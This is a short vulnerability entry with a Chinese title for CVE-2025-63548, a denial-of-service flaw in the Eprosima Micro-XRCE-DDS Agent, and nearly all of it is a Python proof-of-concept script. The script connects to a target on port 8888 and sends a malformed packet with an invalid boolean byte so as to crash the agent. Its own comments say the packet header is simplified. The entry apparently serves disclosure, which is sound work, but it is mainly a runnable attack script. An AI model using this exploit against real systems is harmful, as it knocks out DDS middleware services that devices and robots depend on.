CVE-2025-63548 Eprosima Micro-XRCE-DDS Agent拒绝服务漏洞

import socket # Target configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 8888 # Default Micro XRCE-DDS Agent port def send_exploit(): """ PoC for CVE-2025-63548. Sends a crafted packet with an invalid boolean value to trigger DoS. Note: The actual packet structure depends on the specific sub-protocol used. This example demonstrates sending a malformed payload. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Constructing a malicious packet # Header (simplified for demonstration) # Using a magic byte or header that the agent expects packet_header = b'\x01\x00\x00\x00' # Payload containing invalid boolean value (e.g., 0x02) # Normal booleans are 0x00 (False) or 0x01 (True) # Placing 0x02 in a boolean field triggers the vulnerability invalid_boolean = b'\x02' padding = b'\x00' * 50 payload = packet_header + invalid_boolean + padding print(f"[*] Sending malformed packet to {TARGET_HOST}:{TARGET_PORT}...") s.send(payload) print("[+] Packet sent. Check if the Agent has crashed.") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_exploit()